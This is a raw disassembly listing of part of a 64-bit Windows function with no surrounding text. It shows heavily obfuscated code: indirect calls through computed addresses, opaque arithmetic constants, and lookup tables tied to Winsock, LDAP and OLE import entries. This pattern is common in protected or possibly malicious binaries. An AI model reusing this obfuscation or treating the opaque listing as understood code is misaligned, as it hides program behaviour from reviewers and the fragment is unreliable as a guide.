lea rcx, [0x1402402f0]
add r14, qword [rcx + rax*8]
sub r14, rdi
mov rax, qword [0x1402f0c38]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r14, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0c40]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240330]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x14003990a
mov rdx, rdi
mov rcx, r14
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0x50]
mov rax, qword [0x1402f0c48]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0xd125fc2f7b370fcf
imul rax, qword [0x140292838]
movabs rcx, 0x424e830a6af741bb
imul rcx, qword [0x140292840]
add rcx, rax
movabs rax, 0xf8431567893437e3
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0c50]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0c58]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [0x140292848]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_26]
imul eax, eax, 0xffffff9a
imul ecx, ecx, 0xffffff9e
add cl, al
add cl, 0x4c
mov byte [rdi], cl
mov rdi, qword [rbp + 0x48]
mov rsi, qword [rdi + 0x18]
mov rax, qword [0x1402f0c60]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140039ad1
mov r14, qword [rdi]
mov rax, qword [0x1402f0c68]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0c70]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x1402403b0]
cmp rdi, qword [rcx + rax*8]
jbe 0x140039ab3
mov rdi, qword [r14 - 8]
mov rax, qword [0x1402f0c78]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x1402403d0]
add r14, qword [rcx + rax*8]
sub r14, rdi
mov rax, qword [0x1402f0c80]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r14, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0c88]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240410]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140039ab9
mov rdx, rdi
mov rcx, r14
mov rax, qword [0x1402f01e0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov rdi, qword [rbp + 0x48]
mov rax, qword [0x1402f0c90]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movabs rax, 0xf7f84511e0f97433
imul rax, qword [0x140292850]
movabs rcx, 0x8a85ca237f9fb6a2
imul rcx, qword [0x140292858]
add rcx, rax
movabs rax, 0x499d449315e277fc
add rax, rcx
mov qword [rdi + 0x10], rax
mov rax, qword [0x1402f0c98]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
mov rax, qword [0x1402f0ca0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
movzx eax, byte [reloc.OLEAUT32.dll_VariantTimeToDosDateTime]
movzx ecx, byte [0x140292861]
imul eax, eax, 0xffffffcb
mov edx, ecx
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, ecx
mov ecx, edx
add cl, al
add cl, 0x10
mov byte [rdi], cl
mov rsi, qword [r13 + 0x18]
mov rax, qword [0x1402f0ca8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_ntohs
cmp rsi, qword [rcx + rax*8]
jbe 0x140039c7e
mov r14, qword [r13]
mov rax, qword [0x1402f0cb0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WS2_32.dll_accept
mov rdi, qword [rcx + rax*8]
add rdi, rsi
mov rax, qword [0x1402f0cb8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x140240490]
cmp rdi, qword [rcx + rax*8]
jbe 0x140039c64
mov rdi, qword [r14 - 8]
mov rax, qword [0x1402f0cc0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x1402404b0]
add r14, qword [rcx + rax*8]
sub r14, rdi
mov rax, qword [0x1402f0cc8]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, reloc.WLDAP32.dll_Ordinal_32
cmp r14, qword [rcx + rax*8]
jae 0x140039c94
mov rax, qword [0x1402f0cd0]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cdqe
lea rcx, [0x1402404f0]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rdi
jmp 0x140039c6a
mov rdx, rdi
mov rcx, r14
mov rax, r12
add rax, qword [0x1402f01e0]
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, ebx
lea rsp, [rbp + 0xd8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, r12
add rax, qword [0x1402f01d0]
sub rsp, 0x20
call rax
mov rax, r13
jmp 0x140039c97
add rbx, qword [0x1402f01d0]
sub rsp, 0x20
call rbx
mov rax, rbx
jmp 0x140039c97